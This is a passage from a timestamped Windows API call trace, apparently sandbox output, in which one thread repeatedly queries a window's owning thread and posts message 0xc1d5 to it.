GetCurrentThreadId () returned 0xef8 [0152.929] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0152.929] GetCurrentThreadId () returned 0xef8 [0152.929] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0153.118] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0153.118] GetCurrentThreadId () returned 0xef8 [0153.118] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0153.118] GetCurrentThreadId () returned 0xef8 [0153.118] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0153.337] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0153.337] GetCurrentThreadId () returned 0xef8 [0153.337] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0153.337] GetCurrentThreadId () returned 0xef8 [0153.337] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0153.508] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0153.508] GetCurrentThreadId () returned 0xef8 [0153.508] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0153.508] GetCurrentThreadId () returned 0xef8 [0153.508] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0153.717] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0153.717] GetCurrentThreadId () returned 0xef8 [0153.717] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0153.717] GetCurrentThreadId () returned 0xef8 [0153.717] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0154.173] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0154.174] GetCurrentThreadId () returned 0xef8 [0154.174] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0154.174] GetCurrentThreadId () returned 0xef8 [0154.174] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0154.429] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0154.429] GetCurrentThreadId () returned 0xef8 [0154.429] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0154.429] GetCurrentThreadId () returned 0xef8 [0154.429] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0154.646] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0154.646] GetCurrentThreadId () returned 0xef8 [0154.646] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0154.646] GetCurrentThreadId () returned 0xef8 [0154.646] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0154.892] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0154.892] GetCurrentThreadId () returned 0xef8 [0154.892] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0154.892] GetCurrentThreadId () returned 0xef8 [0154.892] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0155.068] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0155.068] GetCurrentThreadId () returned 0xef8 [0155.068] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0155.068] GetCurrentThreadId () returned 0xef8 [0155.068] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0155.224] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0155.224] GetCurrentThreadId () returned 0xef8 [0155.224] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0155.224] GetCurrentThreadId () returned 0xef8 [0155.225] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0155.381] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0155.381] GetCurrentThreadId () returned 0xef8 [0155.381] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0155.381] GetCurrentThreadId () returned 0xef8 [0155.381] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0155.543] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0155.543] GetCurrentThreadId () returned 0xef8 [0155.543] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0155.543] GetCurrentThreadId () returned 0xef8 [0155.543] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0155.785] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0155.785] GetCurrentThreadId () returned 0xef8 [0155.785] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0155.785] GetCurrentThreadId () returned 0xef8 [0155.785] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0155.973] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0155.973] GetCurrentThreadId () returned 0xef8 [0155.973] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0155.973] GetCurrentThreadId () returned 0xef8 [0155.973] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0156.129] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0156.129] GetCurrentThreadId () returned 0xef8 [0156.129] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0156.129] GetCurrentThreadId () returned 0xef8 [0156.129] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0156.381] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0156.391] GetCurrentThreadId () returned 0xef8 [0156.391] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0156.391] GetCurrentThreadId () returned 0xef8 [0156.396] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0156.647] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0156.647] GetCurrentThreadId () returned 0xef8 [0156.647] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0156.648] GetCurrentThreadId () returned 0xef8 [0156.648] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0156.818] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0156.818] GetCurrentThreadId () returned 0xef8 [0156.818] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0156.818] GetCurrentThreadId () returned 0xef8 [0156.818] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0157.020] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0157.020] GetCurrentThreadId () returned 0xef8 [0157.020] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0157.020] GetCurrentThreadId () returned 0xef8 [0157.020] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0157.175] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0157.175] GetCurrentThreadId () returned 0xef8 [0157.175] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0157.175] GetCurrentThreadId () returned 0xef8 [0157.175] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0157.365] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0157.365] GetCurrentThreadId () returned 0xef8 [0157.365] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0157.365] GetCurrentThreadId () returned 0xef8 [0157.365] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0157.503] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0157.503] GetCurrentThreadId () returned 0xef8 [0157.503] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0157.503] GetCurrentThreadId () returned 0xef8 [0157.503] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0157.658] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0157.659] GetCurrentThreadId () returned 0xef8 [0157.659] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0157.659] GetCurrentThreadId () returned 0xef8 [0157.659] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0157.926] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0157.929] GetCurrentThreadId () returned 0xef8 [0157.929] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0157.930] GetCurrentThreadId () returned 0xef8 [0157.930] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0158.162] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0158.162] GetCurrentThreadId () returned 0xef8 [0158.163] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0158.163] GetCurrentThreadId () returned 0xef8 [0158.163] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0158.360] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0158.360] GetCurrentThreadId () returned 0xef8 [0158.360] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0158.361] GetCurrentThreadId () returned 0xef8 [0158.361] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0158.516] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0158.517] GetCurrentThreadId () returned 0xef8 [0158.517] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0158.517] GetCurrentThreadId () returned 0xef8 [0158.517] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0158.695] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0158.695] GetCurrentThreadId () returned 0xef8 [0158.695] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0158.696] GetCurrentThreadId () returned 0xef8 [0158.696] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0158.928] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0158.928] GetCurrentThreadId () returned 0xef8 [0158.928] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0158.928] GetCurrentThreadId () returned 0xef8 [0158.928] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0159.124] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0159.125] GetCurrentThreadId () returned 0xef8 [0159.125] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0159.125] GetCurrentThreadId () returned 0xef8 [0159.125] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0159.313] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0159.313] GetCurrentThreadId () returned 0xef8 [0159.313] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0159.313] GetCurrentThreadId () returned 0xef8 [0159.313] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0159.492] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0159.492] GetCurrentThreadId () returned 0xef8 [0159.492] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0159.492] GetCurrentThreadId () returned 0xef8 [0159.492] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0159.672] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0159.672] GetCurrentThreadId () returned 0xef8 [0159.672] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0159.672] GetCurrentThreadId () returned 0xef8 [0159.672] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0159.888] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0159.888] GetCurrentThreadId () returned 0xef8 [0159.888] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0159.888] GetCurrentThreadId () returned 0xef8 [0159.889] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0160.030] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0160.030] GetCurrentThreadId () returned 0xef8 [0160.030] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0160.030] GetCurrentThreadId () returned 0xef8 [0160.030] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0160.363] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0160.364] GetCurrentThreadId () returned 0xef8 [0160.364] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0160.364] GetCurrentThreadId () returned 0xef8 [0160.364] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0160.560] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0160.560] GetCurrentThreadId () returned 0xef8 [0160.560] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0160.560] GetCurrentThreadId () returned 0xef8 [0160.560] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0160.810] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0160.810] GetCurrentThreadId () returned 0xef8 [0160.810] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0160.810] GetCurrentThreadId () returned 0xef8 [0160.810] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0160.984] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0160.984] GetCurrentThreadId () returned 0xef8 [0160.984] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0160.984] GetCurrentThreadId () returned 0xef8 [0160.984] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0161.123] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0161.123] GetCurrentThreadId () returned 0xef8 [0161.123] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0161.123] GetCurrentThreadId () returned 0xef8 [0161.123] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0162.754] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0162.755] GetCurrentThreadId () returned 0xef8 [0162.755] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0162.755] GetCurrentThreadId () returned 0xef8 [0162.755] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0162.950] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0162.951] GetCurrentThreadId () returned 0xef8 [0162.951] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0162.951] GetCurrentThreadId () returned 0xef8 [0162.951] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0163.366] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0163.366] GetCurrentThreadId () returned 0xef8 [0163.366] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0163.366] GetCurrentThreadId () returned 0xef8 [0163.366] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0163.739] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0163.739] GetCurrentThreadId () returned 0xef8 [0163.740] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0163.741] GetCurrentThreadId () returned 0xef8 [0163.746] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0164.016] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0164.016] GetCurrentThreadId () returned 0xef8 [0164.016] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0164.016] GetCurrentThreadId () returned 0xef8 [0164.016] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0164.162] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0164.162] GetCurrentThreadId () returned 0xef8 [0164.163] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0164.163] GetCurrentThreadId () returned 0xef8 [0164.163] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0165.348] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0165.348] GetCurrentThreadId () returned 0xef8 [0165.348] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0165.348] GetCurrentThreadId () returned 0xef8 [0165.348] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0165.596] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0165.596] GetCurrentThreadId () returned 0xef8 [0165.596] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0165.596] GetCurrentThreadId () returned 0xef8 [0165.596] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0165.785] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0165.785] GetCurrentThreadId () returned 0xef8 [0165.785] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0165.785] GetCurrentThreadId () returned 0xef8 [0165.785] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0166.003] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0166.003] GetCurrentThreadId () returned 0xef8 [0166.003] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0166.003] GetCurrentThreadId () returned 0xef8 [0166.003] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0166.195] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0166.336] GetCurrentThreadId () returned 0xef8 [0166.336] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0166.336] GetCurrentThreadId () returned 0xef8 [0166.336] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0166.524] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0166.524] GetCurrentThreadId () returned 0xef8 [0166.524] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0166.524] GetCurrentThreadId () returned 0xef8 [0166.524] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0166.696] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0166.697] GetCurrentThreadId () returned 0xef8 [0166.697] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0166.697] GetCurrentThreadId () returned 0xef8 [0166.697] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0166.970] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0166.970] GetCurrentThreadId () returned 0xef8 [0166.970] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0166.970] GetCurrentThreadId () returned 0xef8 [0166.971] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0167.190] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0167.190] GetCurrentThreadId () returned 0xef8 [0167.190] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0167.190] GetCurrentThreadId () returned 0xef8 [0167.190] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0167.360] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0167.360] GetCurrentThreadId () returned 0xef8 [0167.360] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0167.360] GetCurrentThreadId () returned 0xef8 [0167.360] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0167.548] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0167.548] GetCurrentThreadId () returned 0xef8 [0167.548] GetWindowThreadProcessId (in: hWnd=0x2031e, 